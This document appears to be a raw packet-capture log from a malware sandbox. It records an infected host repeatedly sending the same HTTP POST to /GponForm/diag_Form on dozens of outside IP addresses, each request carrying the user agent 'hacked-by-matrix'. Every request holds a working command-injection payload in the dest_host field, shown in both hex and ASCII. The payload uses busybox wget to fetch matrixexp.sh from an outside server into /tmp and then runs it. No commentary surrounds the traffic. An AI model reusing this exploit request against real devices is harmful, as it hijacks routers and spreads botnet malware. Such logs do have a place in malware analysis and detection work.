Mar 21, 2024 05:22:04.183271885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.14	51408	210.123.4.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183305025 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.14	55704	5.99.109.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183341026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.14	44056	2.55.207.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183383942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.14	36608	37.195.46.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183446884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.14	49558	178.91.94.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183471918 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.14	45708	212.204.203.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183505058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.14	60284	212.45.76.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183557034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.14	50612	210.204.49.85	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183620930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.14	44754	212.208.50.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183654070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.14	50650	212.214.55.105	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183654070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.14	43940	2.206.141.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183722973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.14	57216	109.60.26.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183749914 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.14	47024	212.65.215.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183752060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.14	39148	2.37.243.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183837891 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.14	55548	178.228.34.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183840990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.14	50450	42.248.124.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183870077 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.14	44946	118.62.160.83	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183897972 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.14	48070	42.169.243.149	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.183969975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.14	52724	109.65.120.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184000015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.14	50364	109.200.245.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184040070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.14	51158	212.159.121.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184066057 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.14	48694	94.247.165.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184084892 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.14	56214	37.15.232.59	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.184164047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.14	34286	178.170.104.130	443

Timestamp	Bytes transferred	Direction	Data
